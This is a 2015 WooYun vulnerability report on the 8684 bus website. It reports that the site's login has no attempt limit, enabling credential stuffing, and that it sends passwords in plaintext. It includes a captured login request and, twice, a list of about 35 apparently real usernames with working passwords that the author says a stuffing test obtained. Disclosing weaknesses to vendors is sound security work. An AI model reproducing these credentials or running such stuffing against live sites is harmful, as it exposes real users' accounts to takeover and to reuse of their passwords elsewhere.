当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0151058

漏洞标题：8684公交主站登录位置设计缺陷可撞库网站用户

相关厂商：8684公交

漏洞作者： Azazel

提交时间：2015-11-02 11:08

修复时间：2015-11-07 11:10

公开时间：2015-11-07 11:10

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：19

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-02： 细节已通知厂商并且等待厂商处理中
2015-11-07： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

8684公交主站登录位置设计缺陷可撞库网站用户

详细说明：

http://www.8684.com主站的登录位置没有登录限制：

1.png


抓包用户名密码明文传输的：

POST /8684/ajax.php?cmd=ajlogin HTTP/1.1
Host: passport.8684.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://passport.8684.com/8684/login_b_v2.php?ref=http%3A%2F%2Fshenzhen.8684.com%2Fdo%3Fgoback%3Dhttp%253A%252F%252Fwww.8684.com%252F&&f5=0&v=1446356475873
Content-Length: 114
Cookie: ref=http%3A%2F%2F1212.8684.com%2F; CNZZDATA1253415922=710293042-1446106816-http%253A%252F%252Fpassport.8684.com%252F%7C1446351553; noMoreLoginTips=yes; qu_city=501; Hm_lvt_5995ef2848d06328473f975e9d062263=1446356474; Hm_lpvt_5995ef2848d06328473f975e9d062263=1446356474; shuang11=1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
name=aaaaaaaaa&pass=aaaaaaaa&log=1&ref=http%3A%2F%2Fshenzhen.8684.com%2Fdo%3Fgoback%3Dhttp%3A%2F%2Fwww.8684.com%2F


测试撞库网站用户，这里直接贴出来成功帐号证明：

1234	1234	1090
wenchuanbo88	wenchuanbo88	1102
caokangli	841127	1105
kk1431	10160214	1107
fhisd	71258691	1110
zllajj	zllajj	1119
tzbr	zj19890922	1121
mkd888	111111	1123
gindal	keylink	1123
musicmh	511323	1124
lyjbenny	7512231	1125
hongtaowdf	962464	1127
sxj588	6360588	1128
lhplee	lhp875484	1128
snrwcwt	yangjun	1129
lyf2614	261433289	1129
yyytttt	yyytttt	1129
emoshen	zhanqiang	1129
softwarely	cinderella	1132
ruixiang123	123456	1133
akenzhou	19851202	1136
lylyv	4661879879	1140
dsfa	123456	1144
lingaoyun	lingaoyun	1149
bn922	123456	1150
andydm	810409	1150
ipwisk	73156711	1151
lxhuiok	lxhuiok	1152
jeffow	456123	1152
leon_wyh	wanyihong	1153
vashlang	860421	1153
weilai0329	weilai123	1155
shuaihong617	137566	1157
kimigao	8566665	1168
luoxiao94	19861004	1311

漏洞证明：

http://www.8684.com主站的登录位置没有登录限制：

1.png


抓包用户名密码明文传输的：

POST /8684/ajax.php?cmd=ajlogin HTTP/1.1
Host: passport.8684.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://passport.8684.com/8684/login_b_v2.php?ref=http%3A%2F%2Fshenzhen.8684.com%2Fdo%3Fgoback%3Dhttp%253A%252F%252Fwww.8684.com%252F&&f5=0&v=1446356475873
Content-Length: 114
Cookie: ref=http%3A%2F%2F1212.8684.com%2F; CNZZDATA1253415922=710293042-1446106816-http%253A%252F%252Fpassport.8684.com%252F%7C1446351553; noMoreLoginTips=yes; qu_city=501; Hm_lvt_5995ef2848d06328473f975e9d062263=1446356474; Hm_lpvt_5995ef2848d06328473f975e9d062263=1446356474; shuang11=1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
name=aaaaaaaaa&pass=aaaaaaaa&log=1&ref=http%3A%2F%2Fshenzhen.8684.com%2Fdo%3Fgoback%3Dhttp%3A%2F%2Fwww.8684.com%2F


测试撞库网站用户，这里直接贴出来成功帐号证明：

1234	1234	1090
wenchuanbo88	wenchuanbo88	1102
caokangli	841127	1105
kk1431	10160214	1107
fhisd	71258691	1110
zllajj	zllajj	1119
tzbr	zj19890922	1121
mkd888	111111	1123
gindal	keylink	1123
musicmh	511323	1124
lyjbenny	7512231	1125
hongtaowdf	962464	1127
sxj588	6360588	1128
lhplee	lhp875484	1128
snrwcwt	yangjun	1129
lyf2614	261433289	1129
yyytttt	yyytttt	1129
emoshen	zhanqiang	1129
softwarely	cinderella	1132
ruixiang123	123456	1133
akenzhou	19851202	1136
lylyv	4661879879	1140
dsfa	123456	1144
lingaoyun	lingaoyun	1149
bn922	123456	1150
andydm	810409	1150
ipwisk	73156711	1151
lxhuiok	lxhuiok	1152
jeffow	456123	1152
leon_wyh	wanyihong	1153
vashlang	860421	1153
weilai0329	weilai123	1155
shuaihong617	137566	1157
kimigao	8566665	1168
luoxiao94	19861004	1311

修复方案：

加密

版权声明：转载请注明来源 Azazel@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-11-07 11:10

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无